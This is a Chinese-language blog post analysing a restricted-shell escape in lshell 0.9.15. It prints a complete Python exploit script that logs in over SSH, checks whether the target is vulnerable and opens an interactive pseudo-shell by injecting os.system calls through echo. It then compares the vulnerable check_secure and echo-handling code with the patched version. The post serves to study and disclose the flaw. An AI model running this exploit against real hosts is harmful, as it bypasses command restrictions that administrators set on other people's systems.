作者:k0shl 转载请注明出处:http://whereisk0shl.top
前两天博客域名由于实名制的问题无法访问,最近忙活了一下总算是搞定了,今天开始继续跟大家一起分享漏洞分析,也希望大家能继续支持我的博客,谢谢大家!
漏洞说明
软件下载:
https://sourceforge.net/projects/lshell/files/lshell/0.9.15/lshell-0.9.15.1.tar.gz/download
PoC:
import paramiko
import traceback
from time import sleep
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
if len(sys.argv) < 4:
print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
sys.exit(1)
try:
print '[!] .............................'
print '[!] lshell <= 0.9.15 remote shell.'
print '[!] note: you can also ssh in and execute \'/bin/bash\''
print '[!] .............................'
print '[!] Checking host %s...'%(sys.argv[3])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
# verify lshell
channel = ssh.invoke_shell()
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
channel.send('help help\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'lshell' in ret:
if 'forbidden' in ret:
print '[-] Looks like we can\'t execute SSH commands'
else:
print '[-] Environment is not lshell'
sys.exit(1)
# verify vulnerable version
channel.send('sudo\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'Traceback' in ret:
print '[-] lshell version not vulnerable.'
sys.exit(1)
channel.close()
ssh.close()
# exec shell
print '[+] vulnerable lshell found, preparing pseudo-shell...'
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
while True:
cmd = raw_input('$ ')
# breaks paramiko
if cmd[0] is '/':
print '[!] Running binaries won\'t work!'
continue
cmd = cmd.replace("'", r"\'")
cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
if len(cmd) > 1:
if 'quit' in cmd or 'exit' in cmd:
break
(stdin,stdout,stderr) = ssh.exec_command(cmd)
out = stdout.read()
print out.strip()
except paramiko.AuthenticationException:
print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
print '[-] Error: ', e
print type(e)
traceback.print_exc(file=sys.stdout)
finally:
channel.close()
ssh.close()
请直接运行poc,按照提示输入想执行的命令即可。
漏洞复现
LShell是Limit Shell的意思,是一款常用替换Shell的工具,用于保护Shell,通过chsh -s [LShell Path] root用于替换root用户的shell,这个工具用于限制Shell连接的命令执行权限,只能执行部分命令。
在这个工具中,由于对于echo后面命令的控制不够严格,导致可以通过调用python语法导致执行不可执行的命令,下面对此漏洞进行详细分析。
首先通过chsh命令,将root用户的shell替换成lshell,通过ssh连接主机,可以看到,部分命令是禁止执行的,比如cat命令,执行时会提示找不到命令。
这时运行lshell.py,这个poc会先检测lshell的版本,存在漏洞的版本,会提示输入命令,使用之前ssh后不能执行的cat命令,发现cat命令顺利执行了,并且/etc/passwd顺利回显。
接下来,我通过PoC,以及源代码,以及补丁对比对此漏洞进行详细的分析。
漏洞分析
首先观察一下PoC代码
while True:
cmd = raw_input('$ ')
# breaks paramiko
if cmd[0] is '/':
print '[!] Running binaries won\'t work!'
continue
cmd = cmd.replace("'", r"\'")
cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
if len(cmd) > 1:
if 'quit' in cmd or 'exit' in cmd:
break
(stdin,stdout,stderr) = ssh.exec_command(cmd)
out = stdout.read()
可以看到,在exec_command执行前调用了一个组成cmd的关键部分,echo __import__('os').system('command'),发送的也是这个命令,那么接下来,通过ssh连接后,先输入cat命令,发现命令无法执行,然后为了验证PoC直接输入echo这个命令,发现cat命令执行了。
同样,我用FreeBSD搭建了一个补丁后的lshell环境,同样输入echo字符串,发现原先漏洞环境下可以执行的cat命令又不可执行了。
我获取了两个版本的lshell,通过对比,发现了这个漏洞的问题所在,首先来看一下漏洞之前的部分。
def check_secure(self, line, strict=None, ssh=None):
check_secure函数用于限制可执行的命令,在这里会对shell连接后执行命令的内容进行检测。
if command not in self.conf['allowed'] and command:
if strict:
if not ssh:
self.counter_update('command', line)
else:
self.log.critical('*** unknown command: %s' %command)
return 1
return 0
如果这个命令,不在allowed文件中的话,则会回显找不到命令,接下来会有一处处理echo命令的部分。
p = subprocess.Popen( "`which echo` %s" % item,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE )
(cin, cout) = (p.stdin, p.stdout)
这里之后会执行echo命令,可以看到从这里到执行,没有任何地方对echo后面的命令进行判断,而是直接执行,并输出结果,接下来看一下补丁后的对比情况。
可以看到,在更新后的lshell中的echo部分,添加了一个Exception,如果出现问题,则会结束echo的执行,从而不会执行echo命令的部分,因此在上面图中,会看到直接报错,而之前,会先执行命令,然后报错。
水一波 混个脸熟 会被打么 捂脸
@时间守望者 2333,不会的,感谢对我博客的支持